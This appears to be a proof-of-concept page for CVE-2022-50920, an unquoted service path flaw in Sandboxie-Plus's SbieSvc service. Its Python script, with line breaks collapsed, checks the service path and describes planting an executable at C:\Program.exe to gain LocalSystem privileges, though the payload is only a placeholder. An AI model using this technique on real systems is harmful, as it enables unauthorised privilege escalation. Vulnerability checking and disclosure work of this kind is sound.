CVE-2022-50920: Sandboxie-Plus SbieSvc服务未引用路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2022-50920 PoC - Sandboxie-Plus SbieSvc Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Run with administrator privileges import os import subprocess import sys def check_vulnerability(): """Check if the system is vulnerable to CVE-2022-50920""" try: # Query the SbieSvc service configuration result = subprocess.run( ['sc', 'qc', 'SbieSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print('[+] SbieSvc service found') for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f'[+] Current path: {path}') # Check if path is unquoted and contains spaces if ' ' in path and not (path.startswith('"') and path.endswith('"')): print('[!] VULNERABLE: Path is unquoted and contains spaces') return True else: print('[-] NOT VULNERABLE: Path is properly quoted') return False else: print('[-] SbieSvc service not found') return False except Exception as e: print(f'[-] Error: {e}') return False def create_payload(): """Create a malicious executable to be placed at unquoted path location""" payload_path = r'C:\Program.exe' # This is a placeholder - actual payload would be malicious code # For demonstration purposes only print(f'[!] Would create malicious executable at: {payload_path}') print('[!] When SbieSvc starts, it would execute this payload with LocalSystem privileges') return payload_path if __name__ == '__main__': print('CVE-2022-50920 - Sandboxie-Plus SbieSvc Unquoted Service Path PoC') print('=' * 60) check_vulnerability() create_payload()